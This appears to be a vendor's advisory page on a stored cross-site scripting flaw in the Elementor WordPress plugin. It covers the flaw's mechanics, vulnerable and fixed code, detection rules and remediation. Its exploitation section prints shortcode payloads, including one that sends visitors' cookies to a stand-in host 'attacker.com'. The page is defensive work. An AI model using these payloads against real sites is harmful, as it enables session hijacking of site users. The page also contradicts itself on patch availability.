CVE-2025-3075
Executive Summary
CVE-2025-3075 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Website Builder plugin for WordPress, affecting all versions up to and including 3.29.0. The flaw resides in the elementor-element shortcode, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious shortcode. The vulnerability is contingent on the 'Element Caching' feature being enabled. With a CVSS score of 6.4 (Medium), this issue poses a significant risk to WordPress sites using Elementor, as it can lead to session hijacking, defacement, or further compromise of administrative accounts.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or other web server software. The attack vector relies on WordPress user roles and the Elementor plugin's shortcode handling.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The attack is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – Attacker needs contributor-level access.
- User Interaction (UI): Required – A user must visit the compromised page.
- Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): Low – Limited impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the prevalence of Elementor (over 5 million active installations) and the low privilege requirement elevate the real-world risk.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the elementor-element shortcode. Elementor uses shortcodes to render dynamic content. When 'Element Caching' is enabled, the plugin caches rendered elements to improve performance. The flaw occurs because the shortcode does not properly sanitize or escape user-supplied attributes before storing them in the cache.
Attack Flow:
- An authenticated user with contributor-level access (or higher) creates or edits a post/page.
- The attacker inserts the
[elementor-element]shortcode with a malicious attribute, such asonloadoronerror, containing JavaScript. - The plugin caches the element, including the malicious attribute.
- When any user (including administrators) visits the page, the cached element is rendered, and the injected script executes in the browser context.
Root Cause: Insufficient input sanitization and output escaping on the shortcode's attributes. The plugin fails to strip or encode dangerous HTML attributes like onload, onerror, or onclick.
Vulnerable vs. Patched Code
Since no official patch is available, the following illustrates the vulnerable code pattern and a hypothetical fix.
Vulnerable Code (Elementor <= 3.29.0):
// In elementor/core/dynamic-tags/shortcode.php or similar
function elementor_element_shortcode( $atts ) {
$atts = shortcode_atts( array(
'id' => '',
'class' => '',
'data' => '',
), $atts );
// Directly outputting attributes without escaping
$output = '<div class="' . $atts['class'] . '" data-id="' . $atts['id'] . '">';
// ... render element
return $output;
}
Patched Code (Hypothetical Fix):
function elementor_element_shortcode( $atts ) {
$atts = shortcode_atts( array(
'id' => '',
'class' => '',
'data' => '',
), $atts );
// Escape attributes properly
$class = esc_attr( $atts['class'] );
$id = esc_attr( $atts['id'] );
$output = '<div class="' . $class . '" data-id="' . $id . '">';
// ... render element
return $output;
}
The fix uses esc_attr() to escape HTML attributes, preventing injection of event handlers or other malicious code.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Elementor <= 3.29.0 and 'Element Caching' enabled.
- Contributor-level account or higher.
Exploitation Steps:
- Log in as a contributor.
- Create a new post or page.
- Insert the following shortcode into the content:
Alternatively, use a more stealthy payload:[elementor-element class="test" id="123" onload="alert('XSS')"][elementor-element class="test" id="123" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"] - Publish or save the post.
- Wait for an administrator or any user to visit the page. The script executes in their browser.
Note: No public exploit code is available at this time.
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts/pages containing the
[elementor-element]shortcode with suspicious attributes (e.g.,onload,onerror,onclick,onmouseover). - Review server logs for unusual requests to
/wp-admin/post.phpor/wp-admin/post-new.phpfrom contributor accounts.
Hardening:
- Disable 'Element Caching' in Elementor settings (Elementor > Settings > Advanced > Element Caching).
- Restrict contributor-level access to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block shortcodes with event handler attributes.
- Apply the principle of least privilege: limit contributor capabilities.
Indicators of Compromise (IOCs)
- File System: Modified or new posts/pages containing the
[elementor-element]shortcode with event handler attributes. - Database: Entries in
wp_poststable withpost_contentcontaining[elementor-elementandonload,onerror, etc. - Network: Outbound connections to attacker-controlled domains from compromised WordPress instances.
- Logs: Access logs showing requests to pages with the malicious shortcode.
Detection Engineering
YARA Rule
rule CVE_2025_3075_Elementor_XSS {
meta:
description = "Detects Elementor shortcode with XSS payloads"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3075"
strings:
$shortcode = "[elementor-element"
$xss1 = /on\w+\s*=\s*["'][^"']*["']/ nocase
$xss2 = /<script\b[^>]*>/ nocase
condition:
$shortcode and ($xss1 or $xss2)
}
Sigma Rule
title: CVE-2025-3075 Elementor Stored XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects posts/pages containing malicious Elementor shortcode
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "/wp-admin/post.php"
http.body|contains: "[elementor-element"
http.body|re: /on\w+\s*=\s*["'][^"']*["']/
condition: selection
falsepositives:
- Legitimate use of event handlers in shortcodes (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-3075 Elementor Stored XSS Attempt"; flow:to_server,established; content:"[elementor-element"; http_client_body; pcre:"/on\w+\s*=\s*["'][^"']*["']/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable 'Element Caching' in Elementor settings to prevent the vulnerability from being exploited.
- Audit existing content for malicious shortcodes using the YARA rule above.
- Restrict contributor accounts to only trusted users.
Long-Term Fix:
- Apply the official patch once released by Elementor (monitor their changelog).
- Upgrade to Elementor version 3.29.1 or later when available.
- Implement a Content Security Policy (CSP) to mitigate XSS impact.
Workaround:
- Use a WordPress security plugin (e.g., Wordfence) to block shortcode injection attempts.
- Add a custom function to your theme's
functions.phpto sanitize shortcode attributes:add_shortcode( 'elementor-element', 'custom_elementor_element_shortcode' ); function custom_elementor_element_shortcode( $atts ) { $atts = shortcode_atts( array( 'id' => '', 'class' => '', ), $atts ); $class = esc_attr( $atts['class'] ); $id = esc_attr( $atts['id'] ); return '<div class="' . $class . '" data-id="' . $id . '">'; }
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.